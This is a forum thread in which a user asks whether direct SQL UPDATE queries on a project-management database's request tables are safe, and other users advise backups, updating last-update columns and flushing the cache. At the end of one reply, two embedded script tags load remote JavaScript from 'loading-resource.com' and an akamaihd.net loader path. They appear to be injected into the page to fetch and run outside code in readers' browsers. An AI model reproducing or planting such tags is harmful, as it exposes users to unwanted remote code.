Project and Portfolio Management Practitioners Forum
cancel

Can I run query on ppm DB

Highlighted
riznad
Super Contributor.

Can I run query on ppm DB

Hi;
I want to ask two things.
1)Can I run an update query like this:

Update KCRT_REQ_HEADER_DETAILS rhd
Set rhd.parameter99=’XX’,
rhd.visible_parameter='YYY'
where rhd.batch_number='1' -- the number in storage tab
and rhd.request_type_id=30XXX


Can be any side effects?

2)Can I run the same query for closed and canncelled projects.

 

6 REPLIES
Oscar_Pereira
Honored Contributor.

Re: Can I run query on ppm DB

 

In the past, i have update the parameters for specific requests... like:

 

update kcrt_request_details set PARAMETER3 = '0' where request_id=xx;

 

update kcrt_request_details set VISIBLE_PARAMETER3 = 'Field' where request_id=xx;

 

And it works...

 

 

You can backup the table KCRT_REQ_HEADER_DETAILS, and run your update script (It should work)

 

 

However, what is the requirement that you are trying to accomplish:

 

Are you fixing a data corruption or you just want to perform a massive update of parameters for ALL requests from a specific request type?

 

Oscar Pereira

d4y4n4
Honored Contributor.

Re: Can I run query on ppm DB

We do not recommend run update queries directly in the database, however if you need to do this please make sure to take a backup of the tables and also try this in a test server before run it in prod.

Regards,
Dayana Campos
riznad
Super Contributor.

Re: Can I run query on ppm DB

Hi Oscar;

My aim is to update values on a parameter

sujt like replace Male ==> M

Female ==> F

 

also I insert a new parameter to project.

I will fill blank values.

Erik Cole
Acclaimed Contributor.

Re: Can I run query on ppm DB

Should be no problem. Be sure to also update any LAST_UPDATE_DATE & LAST_UPDATED_BY columns in the tables to avoid old data persisting in the cache.

jsalass
Honored Contributor.

Re: Can I run query on ppm DB

The update should not be a problem. What you can do is after updating the column values tun the kRunCacheManager.sg A command, so you can flush the cache and load the new values into it.

 

Regards,

Jonathan

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script> <script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>
AlexSavencu
Acclaimed Contributor.

Re: Can I run query on ppm DB

Hi,

 

make sure you also update the KCRT_REQUESTS.ENTITY_LAST_UPDATE_DATE.

 

cheers

alex


--remember to kudos people who helped solve your problem